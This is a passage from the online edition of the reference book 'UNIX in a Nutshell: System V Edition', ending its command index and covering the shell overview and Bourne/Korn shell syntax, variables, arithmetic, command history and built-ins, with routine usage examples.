  • more
  • mv
  • nawk
  • newform
  • newgrp
  • news
  • nice
  • nl
  • nm
  • nohup
  • notify
  • nroff
  • od
  • openwin
  • pack
  • page
  • passwd
  • paste
  • pcat
  • pg
  • pic
  • pr
  • printenv
  • printf
  • prof
  • prs
  • ps
  • ptx
  • pwd
  • rcp
  • red
  • regcmp
  • relogin
  • reset
  • rksh
  • rlogin
  • rm
  • rmdel
  • rmdir
  • rsh
  • rsh
  • ruptime
  • rwho
  • sact
  • sccs
  • sccsdiff
  • script
  • sdb
  • sdiff
  • sed
  • sh
  • shl
  • shutdown
  • size
  • sleep
  • soelim
  • sort
  • spell
  • split
  • srchtxt
  • strings
  • strip
  • stty
  • su
  • sum
  • tabs
  • tail
  • talk
  • tar
  • tbl
  • tee
  • telnet
  • test
  • time
  • timex
  • touch
  • tput
  • tr
  • troff
  • true
  • truss
  • tset
  • tsort
  • tty
  • umask
  • uname
  • uncompress
  • unget
  • uniq
  • units
  • unpack
  • uptime
  • users
  • uucp
  • uudecode
  • uuencode
  • uuglist
  • uulog
  • uuname
  • uupick
  • uustat
  • uuto
  • uux
  • vacation
  • val
  • vc
  • vedit
  • vi
  • view
  • w
  • wait
  • wall
  • wc
  • what
  • whatis
  • which
  • who
  • whoami
  • whois
  • write
  • xargs
  • yacc
  • zcat

Previous: 1.5 Guide for Users of BSD-derived Systems | UNIX in a Nutshell: System V Edition | Next: 3. The UNIX Shell: An Overview
1.5 Guide for Users of BSD-derived Systems | Book Index | 3. The UNIX Shell: An Overview
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] The UNIX Shell: An Overview

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 2.1 Alphabetical Summary of Commands Chapter 3 Next: 3.2 Purpose of the Shell

3. The UNIX Shell: An Overview

Contents:
Introduction to the Shell
Purpose of the Shell
Shell Flavors
Common Features
Differing Features

For novice users, this section presents basic concepts about the UNIX shell. For advanced users, this section also summarizes the major similarities and differences between the Bourne, Korn, and C shells. Details on the three shells are provided in Sections 4 and 5.

The following topics are presented:

  • Introduction to the shell

  • Purpose of the shell

  • Shell flavors

  • Common features

  • Differing features

3.1 Introduction to the Shell

Let's suppose that the UNIX operating system is a car. When you drive, you issue a variety of "commands": you turn the steering wheel, press the accelerator, or press the brake. But how does the car translate your commands into the action you want? Through the car's drive mechanism, which can be thought of as the car's user interface. Cars can be equipped with front-wheel drive, rear-wheel drive, four-wheel drive, and sometimes combinations of these.

The shell can be thought of as the user interface to UNIX, and by the same token, several shells are available in UNIX. Some systems provide only one shell. Many provide more than one for you to choose from. Each shell has different features, but all of them affect how commands will be interpreted and provide tools to create your UNIX environment.

The shell is simply a program that allows the system to understand your commands. (That's why the shell is often called a command interpreter.) For many users, the shell works invisibly-"behind the scenes." Your only concern is that the system do what you tell it to do; you don't care about the inner workings. In our car analogy, this is comparable to pressing the brake. Most of us don't care whether the "user interface" involves disk brakes or drum brakes, as long as the car stops.

Previous: 2.1 Alphabetical Summary of Commands | UNIX in a Nutshell: System V Edition | Next: 3.2 Purpose of the Shell
2.1 Alphabetical Summary of Commands | Book Index | 3.2 Purpose of the Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.2 Purpose of the Shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 3.1 Introduction to the Shell Chapter 3
The UNIX Shell: An Overview 		Next: 3.3 Shell Flavors

3.2 Purpose of the Shell

There are three main uses for the shell:

  • Interactive use

  • Customization of your UNIX session

  • Programming

3.2.1 Interactive Use

When the shell is used interactively, the system waits for you to type a command at the UNIX prompt. Your commands can include special symbols that let you abbreviate filenames or redirect input and output.

3.2.2 Customization of Your UNIX Session

A UNIX shell defines variables to control the behavior of your UNIX session. Setting these variables will tell the system, for example, which directory to use as your home directory, or the file in which to store your mail. Some variables are preset by the system; you can define others in start-up files that are read when you log in. Start-up files can also contain UNIX commands or special shell commands. These will be executed every time you log in.

3.2.3 Programming

UNIX shells provide a set of special (or built-in) commands that can be used to create programs called shell scripts. In fact, many built-in commands can be used interactively like UNIX commands, and UNIX commands are frequently used in shell scripts. Scripts are useful for executing a series of individual commands. This is similar to BATCH files in MS-DOS. Scripts can also execute commands repeatedly (in a loop) or conditionally (if-else), as in many high-level programming languages.

Previous: 3.1 Introduction to the Shell | UNIX in a Nutshell: System V Edition | Next: 3.3 Shell Flavors
3.1 Introduction to the Shell | Book Index | 3.3 Shell Flavors
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 Shell Flavors

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 3.2 Purpose of the Shell Chapter 3
The UNIX Shell: An Overview 		Next: 3.4 Common Features

3.3 Shell Flavors

Many different UNIX shells are available. This quick reference describes the three most popular shells:

  • The Bourne (or standard) shell, the most compact shell but also the simplest.

  • The Korn shell, a superset of the Bourne shell that lets you edit the command line.

  • The C shell, which uses C syntax and has many conveniences.

Most systems have more than one shell, and people will often use the Bourne shell for writing shell scripts and will use another shell for interactive use.

The /etc/passwd file determines which shell takes effect during your interactive UNIX session. When you log in, the system checks your entry in /etc/passwd. The last field of each entry calls a program to run as the default shell. For example:

If the program | Your shell will be the:
name is: |
/bin/sh | Bourne shell
/bin/rsh | Restricted Bourne shell
/bin/jsh | Bourne shell, including job control
/bin/ksh | Korn shell
/bin/rksh | Restricted Korn shell
/bin/csh | C shell

You can change to another shell by typing the program name at the command line. For example, to change from the Bourne shell to the C shell, type:

$ exec csh

Previous: 3.2 Purpose of the Shell | UNIX in a Nutshell: System V Edition | Next: 3.4 Common Features
3.2 Purpose of the Shell | Book Index | 3.4 Common Features
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.4 Common Features

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 3.3 Shell Flavors Chapter 3
The UNIX Shell: An Overview 		Next: 3.5 Differing Features

3.4 Common Features

The table below is a sampling of features that are common to the Bourne, Korn, and C shells. Note that the Korn shell is an enhanced version of the Bourne shell; therefore, the Korn shell includes all features of the Bourne shell, plus some others. The commands bg, fg, jobs, stop, and suspend are available only on systems that support job control.

Symbol/ | Meaning/Action
Command |
> | Redirect output.
>> | Append to file.
< | Redirect input.
<< | "Here" document (redirect input).
| | Pipe output.
& | Run process in background.
; | Separate commands on same line.
* | Match any character(s) in filename.
? | Match single character in filename.
[ ] | Match any characters enclosed.
( ) | Execute in subshell.
` ` | Substitute output of enclosed command.
" " | Partial quote (allows variable and command expansion).
' ' | Full quote (no expansion).
\ | Quote following character.
$var | Use value for variable.
$$ | Process id.
$0 | Command name.
$n | nth argument (0<n<9).
$* | All arguments as a simple word.
# | Begin comment.
bg | Background execution.
break | Break from loop statements.
cd | Change directories
continue | Resume a program loop.
echo | Display output.
eval | Evaluate arguments.
exec | Execute a new shell.
fg | Foreground execution.
jobs | Show active jobs.
kill | Terminate running jobs.
newgrp | Change to a new group.
shift | Shift positional parameters.
stop | Suspend a background job.
suspend | Suspend a foreground job.
time | Time a command.
umask | Set or list file permissions.
unset | Erase variable or function definitions.
wait | Wait for a background job to finish.

Previous: 3.3 Shell Flavors | UNIX in a Nutshell: System V Edition | Next: 3.5 Differing Features
3.3 Shell Flavors | Book Index | 3.5 Differing Features
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.5 Differing Features

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 3.4 Common Features Chapter 3
The UNIX Shell: An Overview 		Next: 4. The Bourne Shell and Korn Shell

3.5 Differing Features

The table below is a sampling of features that are different among the three shells.

sh | ksh | csh | Meaning/Action
$ | $ | % | Prompt.
 |  | >! | Force redirection.
 |  | >>! | Force append.
> file 2>&1 | > file 2>&1 | >& file | Combine stdout and stderr.
 |  | { } | Expand elements in list.
` ` | $( ) | ` ` | Substitute output of enclosed command.
$HOME | $HOME | $home | Home directory.
 | ~ | ~ | Home directory symbol.
var=value | var=value | set var=value | Variable assignment.
export var | export var=val | setenv var val | Set environment variable.
 | ${nn} |  | More than 9 args can be referenced.
"$@" | "$@" |  | All args as separate words.
$# | $# | $#argv | Number of arguments.
$? | $? | $status | Exit status.
$! | $! |  | Background exit status.
$- | $- |  | Current options.
. file | . file | source file | Read commands in file.
 | alias x=y | alias x y | Name x stands for y.
case | case | switch/case | Choose alternatives.
 | cd ~- | popd/pushd | Switch directories.
done | done | end | End a loop statement.
esac | esac | endsw | End case or switch.
exit [n] | exit [n] | exit [(expr)] | Exit with a status.
for/do | for/do | foreach | Loop through variables.
 | print -r | glob | Ignore echo escapes.
hash | alias -t | hashstat | Display hashed commands (tracked aliases).
hash cmds | alias -t cmds | rehash | Remember command locations.
hash -r |  | unhash | Forget command locations.
 | history | history | List previous commands.
 | r | !! | Redo previous command.
 | r str | !str | Redo command that starts with str.
 | r x=y cmd | !cmd:s/x/y/ | Edit command, then execute.
if [ $i -eq 5 ] | if ((i==5)) | if ($i==5) | Sample if statement.
fi | fi | endif | End if statement.
ulimit | ulimit | limit | Set resource limits.
pwd | pwd | dirs | Print working directory.
read | read | $< | Read from terminal.
trap 2 | trap 2 | onintr | Ignore interrupts.
 | unalias | unalias | Remove aliases.
until | until |  | Begin until loop.
while/do | while/do | while | Begin while loop.

Previous: 3.4 Common Features | UNIX in a Nutshell: System V Edition | Next: 4. The Bourne Shell and Korn Shell
3.4 Common Features | Book Index | 4. The Bourne Shell and Korn Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] The Bourne Shell and Korn Shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 3.5 Differing Features Chapter 4 Next: 4.2 Syntax

4. The Bourne Shell and Korn Shell

Contents:
Overview of Features
Syntax
Variables
Arithmetic Expressions
Command History
Built-in Commands (Bourne and Korn Shell)
Job Control
Invoking the Shell
Restricted Shells

This section presents the following topics:

  • Overview of features

  • Syntax

  • Variables

  • Arithmetic expressions (Korn shell only)

  • Command history (Korn shell only)

  • Built-in commands

  • Job control

  • Invoking the shell

  • Restricted shells

4.1 Overview of Features

The Bourne shell is the standard shell and provides the following features:

  • Input/output redirection.

  • Wildcard characters (metacharacters) for filename abbreviation.

  • Shell variables for customizing your environment.

  • A built-in command set for writing shell programs.

  • Job control (beginning in SVR4).

The Korn shell is a backward-compatible extension of the Bourne shell. Features that are valid only in the Korn shell are so indicated.

  • Command-line editing (using vi or emacs).

  • Access to previous commands (command history).

  • Integer arithmetic.

  • More ways to match patterns and substitute variables.

  • Arrays and arithmetic expressions.

  • Command name abbreviation (aliasing).

Previous: 3.5 Differing Features | UNIX in a Nutshell: System V Edition | Next: 4.2 Syntax
3.5 Differing Features | Book Index | 4.2 Syntax
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.2 Syntax

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.1 Overview of Features Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.3 Variables

4.2 Syntax

This subsection describes the many symbols peculiar to the Bourne and Korn shell. The topics are arranged as follows:

  • Special files

  • Filename metacharacters

  • Quoting

  • Command forms

  • Redirection forms

  • Coprocesses (Korn shell only)

4.2.1 Special Files

/etc/profile | Executed automatically at login.
$HOME/.profile | Executed automatically at login.
/etc/passwd | Source of home directories for ~name abbreviations.
$ENV | Specifies the name of a file to read when a new Korn shell is created.

4.2.2 Filename Metacharacters

* | Match any string of zero or more characters.
? | Match any single character.
[abc...] | Match any one of the enclosed characters; a hyphen can be used to specify a range (e.g., a-z, A-Z, 0-9).
[!abc...] | Match any character not enclosed as above.

In the Korn shell:

?(pattern) | Match zero or one instance of pattern.
*(pattern) | Match zero or more instances of pattern.
+(pattern) | Match one or more instance of pattern.
@(pattern) | Match exactly one instance of pattern.
!(pattern) | Match any strings that don't contain pattern.
~ | HOME directory of the current user.
~name | HOME directory of user name.
~+ | Current working directory (PWD).
~- | Previous working directory (OLDPWD).

The pattern above can be a sequence of patterns separated by |, meaning that the match applies to any of the patterns. This extended syntax resembles that available to egrep and awk.

4.2.2.1 Examples

$ ls new*	List new and new.1.
$ cat ch?	Match ch9 but not ch10.
$ vi [D-R]*	Match files that begin with uppercase D through R.
$ cp !(Junk*|Temp*)*.c ..	Korn shell only.  Copy C source files
        except for Junk and Temp files.

4.2.3 Quoting

Quoting disables a character's special meaning and allows it to be used literally, as itself. The following characters have special meaning to the Bourne and Korn shells:

; | Command separator.
& | Background execution.
( ) | Command grouping.
| | Pipe.
> < & | Redirection symbols.
* ? [ ] ~ + - @ ! | Filename metacharacters.
" ' \ | Used in quoting other characters.
` | Command substitution.
$ | Variable substitution (or command substitution).
newline space tab | Word separators.

The characters below can be used for quoting:

" "

Everything between " and " is taken literally, except for the following characters that keep their special meaning:

$

Variable substitution will occur.

`

Command substitution will occur.

"

This marks the end of the double quote.

' '

Everything between ' and ' is taken literally except for another '.

\

The character following a \ is taken literally. Use within " " to escape ", $, and `. Often used to escape itself, spaces, or newlines.

4.2.3.1 Examples

$ echo 'Single quotes "protect" double quotes'
Single quotes "protect" double quotes
$ echo "Well, isn't that \"special\"?"
Well, isn't that "special"?
$ echo "You have `ls|wc -l` files in `pwd`"
You have      43 files in /home/bob
$ echo "The value of \$x is $x"
The value of $x is 100

4.2.4 Command Forms

cmd & | Execute cmd in background.
cmd1 ; cmd2 | Command sequence; execute multiple cmds on the same line.
(cmd1 ; cmd2) | Subshell; treat cmd1 and cmd2 as a command group.
cmd1 | cmd2 | Pipe; use output from cmd1 as input to cmd2.
cmd1 `cmd2` | Command substitution; use cmd2 output as arguments to cmd1.
cmd1 $(cmd2) | Korn-shell command substitution; nesting is allowed.
cmd1 && cmd2 | AND; execute cmd1 and then (if cmd1 succeeds) cmd2.
cmd1 || cmd2 | OR; execute either cmd1 or (if cmd1 fails) cmd2.
{ cmd1 ; cmd2 } | Execute commands in the current shell.

4.2.4.1 Examples

$ nroff file &	Format in the background.
$ cd; ls	Execute sequentially.
$ (date; who; pwd) > logfile	All output is redirected.
$ sort file | pr -3 | lp		Sort file, page output, then print.
$ vi `grep -l ifdef *.c`		Edit files found by grep.
$ egrep '(yes|no)' `cat list`	Specify a list of files to search.
$ egrep '(yes|no)' $(cat list)	Korn shell version of previous.
$ egrep '(yes|no)' $(<list)	Same, but faster.
$ grep XX file && lp file		Print file if it contains the pattern,
$ grep XX file || echo "XX not found"	otherwise, echo an error message.

4.2.5 Redirection Forms

File |  | Common | Typical
Descriptor | Name | Abbreviation | Default
0 | Standard Input | stdin | Keyboard
1 | Standard Output | stdout | Terminal
2 | Standard Error | stderr | Terminal

The usual input source or output destination can be changed as follows:

4.2.5.1 Simple Redirection

cmd > file | Send output of cmd to file (overwrite).
cmd >> file | Send output of cmd to file (append).
cmd < file | Take input for cmd from file.
cmd << text | Read standard input up to a line identical to text (text can be stored in a shell variable). Input is usually typed on the screen or in the shell program. Commands that typically use this syntax include cat, echo, ex, and sed. (If <<- is used, leading tabs are ignored when comparing input with end-of-input text marker.) This command form is sometimes called a "Here" document.

4.2.5.2 Redirection Using File Descriptors

cmd >&n | Send cmd output to file descriptor n.
cmd m>&n | Same, except that output that would normally go to file descriptor m is sent to file descriptor n instead.
cmd >&- | Close standard output.
cmd <&n | Take input for cmd from file descriptor n.
cmd m<&n | Same, except that input that would normally come from file descriptor m comes from file descriptor n instead.
cmd <&- | Close standard input.

4.2.5.3 Multiple Redirection

cmd 2>file | Send standard error to file; standard output remains the same (e.g., the screen).
cmd > file 2>&1 | Send both standard error and standard output to file.
(cmd > f1) 2>f2 | Send standard output to file f1; standard error to file f2.
cmd | tee files | Send output of cmd to standard output (usually the terminal) and to files. (See the example in Section 2 under tee.)

No space should appear between file descriptors and a redirection symbol; spacing is optional in the other cases.

4.2.5.4 Examples

$ cat part1 > book
$ cat part2 part3 >> book
$ mail tim < report
$ sed 's/^/XX /g' << END_ARCHIVE
> This is often how a shell archive is "wrapped",
> bundling text for distribution.  You would normally
> run sed from a shell program, not from the command line.
> END_ARCHIVE
XX This is often how a shell archive is "wrapped",
XX bundling text for distribution.  You would normally
XX run sed from a shell program, not from the command line.

To redirect standard output to standard error:

$ echo "Usage error:  see administrator" 1>&2

The following command will send output (files found) to filelist and send error messages (inaccessible files) to file no_access:

$ (find / -print > filelist) 2>no_access

4.2.6 Coprocesses

Coprocesses are a feature of the Korn shell only.

cmd1 | cmd2 |& | Coprocess; execute the pipeline in the background. The shell sets up a two-way pipe, allowing redirection of both standard input and standard output.
read -p var | Read coprocess input into variable var.
print -p string | Write string to the coprocess.
cmd <&p | Take input for cmd from the coprocess.
cmd >&p | Send output of cmd to the coprocess.

4.2.6.1 Examples

ed - memo |&	Start coprocess.
print -p /word/	Send ed command to coprocess.
read -p search	Read output of ed command into variable search.
print "$search"	Show the line on standard output.
A word to the wise.

Previous: 4.1 Overview of Features | UNIX in a Nutshell: System V Edition | Next: 4.3 Variables
4.1 Overview of Features | Book Index | 4.3 Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 Variables

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.2 Syntax Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.4 Arithmetic Expressions

4.3 Variables

This subsection describes the following:

  • Variable substitution

  • Built-in shell variables

  • Other shell variables

  • Arrays (Korn shell only)

4.3.1 Variable Substitution

No spaces should be used in the expressions below. The colon (:) is optional; if it's included, var must be non-null as well as set.

var=value ... | Set each variable var to a value.
${var} | Use value of var; braces are optional if var is separated.
${var:-value} | Use var if set; otherwise, use value.
${var:=value} | Use var if set; otherwise, use value and assign value to var.
${var:?value} | Use var if set; otherwise, print value and exit. If value isn't supplied, print the phrase "parameter null or not set."
${var:+value} | Use value if var is set; otherwise, use nothing.

In the Korn shell:

${#var} | Use the length of var.
${#*} | Use the number of positional parameters.
${#@} | Use the number of positional parameters.
${var#pattern} | Use value of var after removing pattern from the left. Remove the shortest matching piece.
${var##pattern} | Same as #pattern, but remove longest matching piece.
${var%pattern} | Use value of var after removing pattern from the right.
${var%%pattern} | Same as %pattern, but remove longest matching piece.

4.3.1.1 Examples

$ u=up d=down blank=	Assign values to three variables (last is null).
$ echo ${u}root		Braces are needed here.
uproot
$ echo ${u-$d}		Display value of u or d; since u is set, it is printed.
up
$ echo ${tmp-`date`}	If tmp is not set, the date command is executed.
Thu Feb  4 15:03:46 EST 1993
$ echo ${blank="no data"}	blank is set, so it is printed (a blank line).
$ echo ${blank:="no data"}	blank is set but null, so the string is printed
no data
$ echo $blank	blank now has a new value
no data

4.3.1.2 Korn Shell Example

tail='${PWD##*/}'	Take the current directory name and
    remove the longest character string ending with /.
    This removes the leading pathname and leaves the tail.

4.3.2 Built-in Shell Variables

Built-in variables are automatically set by the shell and are typically used inside shell scripts. Built-in variables can make use of the variable substitution patterns shown above. Note that the $ is not actually part of the variable name, although the variable is always referenced this way.

$# | Number of command-line arguments.
$- | Options currently in effect (arguments supplied to sh or to set).
$? | Exit value of last executed command.
$$ | Process number of current process.
$! | Process number of last background command.
$0 | First word; that is, command name.
$n | Individual arguments on command line (positional parameters). The Bourne shell allows only nine parameters to be referenced directly (n = 1-9); the Korn shell allows n to be greater than 9 if specified as ${n}.
$* | All arguments on command line ("$1 $2...").
"$@" | All arguments on command line, individually quoted ("$1" "$2" ...).

The Korn shell automatically sets these additional variables:

$_ | Temporary variable; initialized to pathname of script or program being executed. Later, stores the last argument of previous command. Also stores name of matching MAIL file during mail checks.
ERRNO | Error number of last system call that failed.
LINENO | Current line number within the script or function.
OLDPWD | Previous working directory (set by cd).
OPTARG | Name of last option processed by getopts.
OPTIND | Numerical index of OPTARG.
PPID | Process number of this shell's parent.
PWD | Current working directory (set by cd).
RANDOM[=n] | Generate a new random number with each reference; start with integer n, if given.
REPLY | Default reply used by select and read.
SECONDS[=n] | Number of seconds since the shell was started, or, if n is given, number of seconds + n since the shell started.

4.3.3 Other Shell Variables

The variables below are not automatically set by the shell. They are typically used in your .profile file, where you can define them to suit your needs. Variables can be assigned values by issuing commands of the form:

$ variable=value

The list below includes the type of value expected when defining these variables. Those that are specific to the Korn shell are marked as (K).

CDPATH=dirs | Directories searched by cd; allows shortcuts in changing directories; unset by default.
COLUMNS=n | (K) Screen's column width; used in line edit modes and select lists.
EDITOR=file | (K) Pathname of line edit mode to turn on (can end in emacs or vi); used when VISUAL is not set.
ENV=file | (K) Name of script that gets executed at startup; useful for storing alias and function definitions. For example, ENV=$HOME/.kshrc (like C shell's .cshrc).
FCEDIT=file | (K) Editor used by fc command (default is /bin/ed).
FPATH=dirs | (K) Directories to search for function definitions; undefined functions are set via typeset -fu; FPATH is searched when these functions are first referenced.
HISTFILE=file | (K) File in which to store command history (must be set before ksh is started); default is $HOME/.sh_history.
HISTSIZE=n | (K) Number of history commands available (must be set before ksh is started); default is 128.
HOME=dir | Home directory; set by login (from passwd file).
IFS='chars' | Internal field separators; default is space, tab, and newline.
LANG=dir | Directory to use for certain language-dependent programs.
LINES=n | (K) Screen's line length; used for select lists.
MAIL=file | Default file in which to receive mail; set by login.
MAILCHECK=n | Number of seconds between mail checks; default is 10 minutes.
MAILPATH=files | One or more files, delimited by a colon, in which to receive mail. Each file is printed. The Korn shell prompt is ? and the default message is You have mail in $_. The Bourne shell prompt is % and the default message is You have mail.
PATH=dir | One or more pathnames, delimited by a colon, in which to search for commands to execute; default is /usr/bin.
PS1=string | Primary prompt string; default is $.
PS2=string | Secondary prompt (used in multi-line commands); default is >.
PS3=string | (K) Prompt string in select loops; default is #?.
PS4=string | (K) Prompt string for execution trace (ksh -x or set -x); default is +.
SHACCT=file | "Shell account"; file in which to log executed shell scripts. Not in Korn shell.
SHELL=file | Name of shell environment (e.g., /bin/sh).
TERM=string | Terminal type.
TMOUT=n | (K) If no command is typed after n seconds, exit the shell.
VISUAL=path | (K) Same as EDITOR, but VISUAL is checked first.

4.3.4 Arrays

The Korn shell supports one-dimensional arrays of up to 1024 elements. The first element is numbered 0. An array name can be initialized as follows:

set -A name value0 value1 ...

where the specified values become elements of name. Declaring arrays is not required, however. Any valid reference to a subscripted variable can create an array.

When referencing arrays, you can use the ${ ... } syntax. This isn't needed when referencing arrays inside (( )) (the form of let that does automatic quoting). Note that [ and ] are typed literally (i.e., they don't stand for optional syntax).

${name[i]} | Use element i of array name. i can be any arithmetic expression as described under let. The expression must return a value between 0 and 1023.
${name[*]} | Use all elements of array name.
${name} | Use element 0 of array name.
${name[*]} | Use all elements in array name.
${#name[*]} | Use the number of elements in array name.
${#name[@]} | Use the number of elements in array name.

Previous: 4.2 Syntax | UNIX in a Nutshell: System V Edition | Next: 4.4 Arithmetic Expressions
4.2 Syntax | Book Index | 4.4 Arithmetic Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Arithmetic Expressions

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.3 Variables Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.5 Command History

4.4 Arithmetic Expressions

The Korn shell's let command performs integer arithmetic. The Korn shell provides a way to substitute integer values (for use as command arguments or in variables); base conversion is also possible:

$(( expr )) | Use the value of the enclosed arithmetic expression.
B#n | Interpret integer n in numeric base B. For example, 8#100 specifies the octal equivalent of decimal 64.

4.4.1 Operators

The Korn shell uses arithmetic operators from the C programming language; they are listed below in decreasing order of precedence:

- | Unary minus.
! ~ | Logical negation; binary inversion (one's complement).
* / % | Multiplication; division; modulus (remainder).
+ - | Addition; subtraction.
<< >> | Bitwise left shift; bitwise right shift.
<= >= | Less than or equal to; greater than or equal to.
< > | Less than; greater than.
== != | Equality; inequality (both evaluated left to right).
& | Bitwise AND.
^ | Bitwise exclusive OR.
| | Bitwise OR.
&& | Logical AND.
|| | Logical OR.
*= /= %= | Assignment.
= += -= |
<<= >>= |
&= ^= |= |

4.4.2 Examples

See the let command for more information and examples.

let "count=0" "i = i + 1"	Assign i and count.
let "num % 2"	Test for an even number.
(( percent >= 0 && percent <= 100 ))	Test the range of a value.

Previous: 4.3 Variables | UNIX in a Nutshell: System V Edition | Next: 4.5 Command History
4.3 Variables | Book Index | 4.5 Command History
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Command History

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.4 Arithmetic Expressions Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.6 Built-in Commands (Bourne and Korn Shell)

4.5 Command History

The Korn shell lets you display or modify previous commands. This is similar to the C shell's history mechanism. Commands in the history list can be modified using:

  • Line-edit mode

  • The fc command

4.5.1 Line-edit Mode

Line-edit mode lets you emulate many features of the vi or emacs editor. The history list is treated like a file. When the editor is invoked, you type editing keystrokes to move to the command line you want to execute. You can also change the line before executing it. When you're ready to issue the command, press RETURN.

Line-edit mode can be started in several ways. For example, these are equivalent:

$ VISUAL=vi
$ EDITOR=vi
$ set -o vi	Overrides value of VISUAL or EDITOR

Note that vi starts in input mode; to type a vi command, press ESCAPE first.

4.5.1.1 Common Editing Keystrokes

vi | emacs | Result
k | CTRL-p | Get previous command.
j | CTRL-n | Get next command.
/string | CTRL-r string | Get previous command containing string.
h | CTRL-b | Move back one character.
l | CTRL-f | Move forward one character.
b | ESC-b | Move back one word.
w | ESC-f | Move forward one word.
X | DEL | Delete previous character.
x | CTRL-d | Delete one character.
dw | ESC-d | Delete word forward.
db | ESC-h | Delete word back.
xp | CTRL-t | Transpose two characters.

4.5.2 The fc Command

Use fc -l to list history commands and fc -e to edit them. See the entry under built-in commands for more information.

4.5.2.1 Examples

$ history	List the last 16 commands.
$ fc -l 20 30	List commands 20 through 30.
$ fc -l -5	List the last five commands.
$ fc -l cat	List the last command beginning with cat.
$ fc -ln 5 > doit	Save command 5 to file doit.
$ fc -e vi 5 20	Edit commands 5 through 20 using vi.
$ fc -e emacs	Edit previous command using emacs.
$ r	Re-execute previous command.
$ r cat	Re-execute last cat command.
$ r doc=Doc	Substitute, then re-execute last command.
$ r chap=doc c	Re-execute last command that begins with c,
    but change string chap to doc.

Previous: 4.4 Arithmetic Expressions | UNIX in a Nutshell: System V Edition | Next: 4.6 Built-in Commands (Bourne and Korn Shell)
4.4 Arithmetic Expressions | Book Index | 4.6 Built-in Commands (Bourne and Korn Shell)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.6 Built-in Commands (Bourne and Korn Shell)

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.5 Command History Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.7 Job Control

4.6 Built-in Commands (Bourne and Korn Shell)

Examples to be entered as a command line are shown with the $ prompt. Otherwise, examples should be treated as code fragments that might be included in a shell script. For convenience, some of the reserved words used by multi-line commands are also included.

  • #
  • #!shell
  • :
  • .
  • [[ ]]
  • name
  • alias
  • autoload
  • bg
  • break
  • case
  • cd
  • continue
  • do
  • done
  • echo
  • esac
  • eval
  • exec
  • exit
  • export
  • false
  • fc
  • fg
  • fi
  • for
  • function
  • getopts
  • hash
  • hash
  • history
  • if
  • integer
  • jobs
  • kill
  • let
  • newgrp
  • nohup
  • print
  • pwd
  • r
  • read
  • read
  • readonly
  • return
  • select
  • set
  • shift
  • stop
  • suspend
  • test
  • time
  • times
  • trap
  • type
  • typeset
  • ulimit
  • umask
  • unalias
  • unset
  • until
  • wait
  • whence
  • while
  • filename

Previous: 4.5 Command History | UNIX in a Nutshell: System V Edition | Next: 4.7 Job Control
4.5 Command History | Book Index | 4.7 Job Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.7 Job Control

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.6 Built-in Commands (Bourne and Korn Shell) Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.8 Invoking the Shell

4.7 Job Control

Job control lets you place foreground jobs in the background, bring background jobs to the foreground, or suspend (temporarily stop) running jobs. Job control is enabled by any of the following commands:

jsh -i	Bourne shell
ksh -m -i	Korn shell (same as next two)
set -m
set -o monitor

